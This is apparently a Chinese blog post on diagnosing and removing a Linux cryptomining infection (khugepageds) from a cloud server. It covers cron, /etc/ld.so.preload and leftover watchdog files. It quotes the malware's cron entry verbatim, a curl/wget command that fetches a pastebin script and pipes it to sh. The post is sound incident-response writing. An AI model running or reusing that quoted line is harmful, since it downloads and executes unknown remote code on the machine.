最近部署RabbitMQ运行的时候提示:Error: No space left on device
(磁盘空间不足)
df -h
查看磁盘使用情况,发现磁盘并没有占用满
df -i
继续查看 inode 使用情况,发现也没有占用满
查看阿里云服务器控制台,CPU使用显示占用100%
运行
# top
发现%Cpu(s): 2.0 us, 1.7 sy, 0.0 ni,96.0 id, 0.0 wa, 0.0 hi, 0.3 si, 0.0 st
中 id 为96%,说明CPU闲置96%,CPU占用不为100%,与事实情况不符。这个时候你就要怀疑是否病毒造成了。
Top 命令显示参数解释
%Cpu(s): 2.0 us, 1.7 sy, 0.0 ni, 96.0 id, 0.0 wa, 0.0 hi, 0.3 si, 0.0 st
其中us 2.0% 并不代表消耗就是2.0%,这是表示用户占用的cpu,而 sy 表示系统占用的cpu ,id 表示闲置的。
所以查看服务器的cpu消耗,应该查看id的百分比,占用就是1-id%
查看计划任务
# crontab -l
,发现远程脚本的定时任务
*/15 * * * * (curl -fsSL https://pastebin.com/raw/TS4NeUnd||wget -q -O- https://pastebin.com/raw/TS4NeUnd)|sh
处理远程病毒脚本
排查清理
/etc/ld.so.preload
中是否加载有恶意动态链接库
vim /etc/ld.so.preload
发现存在恶意动态链接库
删除/usr/local/lib/libcryptod.so
恶意动态链接库
rm -rf /usr/local/lib/libcryptod.so
修改/etc/ld.so.preload
此文件中的内容
按i键进入编辑模式,删除/usr/local/lib/libcryptod.so
字段,按Esc键退出编辑模式,w!
强制保存,q
退出
使用top,查看发现为Linux挖矿病毒khugepageds,记住其PID,并杀死:kill -9 17957
排查清理可能残留的恶意文件:
- 删除文件
rm -f /usr/sbin/watchdogs /etc/init.d/watchdogs
- 分别编辑
vim /var/spool/cron/root
,vim /etc/cron.d/root
文件,删除定时内容
重启定时任务
systemctl reload crond.service
执行
crontab -l
此时发现病毒的定时任务已删除